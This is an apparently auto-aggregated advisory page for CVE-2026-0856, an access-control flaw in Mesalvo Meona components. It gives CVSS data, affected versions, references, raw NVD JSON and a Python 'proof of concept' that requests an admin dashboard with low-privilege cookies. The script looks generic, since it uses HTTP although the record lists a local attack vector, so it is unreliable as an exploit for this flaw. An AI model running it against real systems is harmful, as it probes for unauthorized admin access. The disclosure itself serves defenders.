CVE-2026-0856

Description

Improper Access Control vulnerability in Mesalvo Meona Client Launcher Component, Mesalvo Meona Server Component enables a normal user gaining access to the admin panel. This issue affects Meona Client Launcher Component: through 19.06.2020 15:11:49; Meona Server Component: through 2025.04 5+323020.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Mesalvo Meona Client Launcher Component <= 19.06.2020 15:11:49

Mesalvo Meona Server Component <= 2025.04 5+323020

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-0856
# This script demonstrates the improper access control vulnerability
# where a low-privileged user can access the admin panel.

import requests

def check_vulnerability(target_url):
    # Simulate a session for a standard low-privilege user
    session = requests.Session()
    # In a real scenario, valid session cookies or tokens would be used here
    session.cookies.update({'user_role': 'standard_user', 'session_id': 'poc_test'})
    
    try:
        # Attempt to access the admin panel directly
        admin_endpoint = f"{target_url}/admin/dashboard"
        response = session.get(admin_endpoint, timeout=10)
        
        # Check if access was granted (HTTP 200 OK and admin content present)
        if response.status_code == 200 and "Admin Panel" in response.text:
            print("[+] Vulnerability Confirmed!")
            print("[+] Low-privilege user successfully accessed the admin panel.")
            return True
        else:
            print("[-] Access denied or vulnerability patched.")
            return False
            
    except requests.exceptions.RequestException as e:
        print(f"[!] Error connecting to target: {e}")
        return False

if __name__ == "__main__":
    target = "http://127.0.0.1:8080" # Replace with actual target IP/URL
    check_vulnerability(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-0856
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-0856
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-0856/
[4] VulDB https://vuldb.com/cve/CVE-2026-0856
[5] https://seccore.at/blog/cves-meona/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-0856", "sourceIdentifier": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "published": "2026-05-20T11:16:25.780", "lastModified": "2026-05-20T14:03:10.193", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Access Control vulnerability in Mesalvo Meona Client Launcher Component, Mesalvo Meona Server Component enables a normal user gaining access to the admin panel. This issue affects Meona Client Launcher Component: through 19.06.2020 15:11:49; Meona Server Component: through 2025.04 5+323020."}], "metrics": {"cvssMetricV31": [{"source": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://seccore.at/blog/cves-meona/", "source": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158"}]}}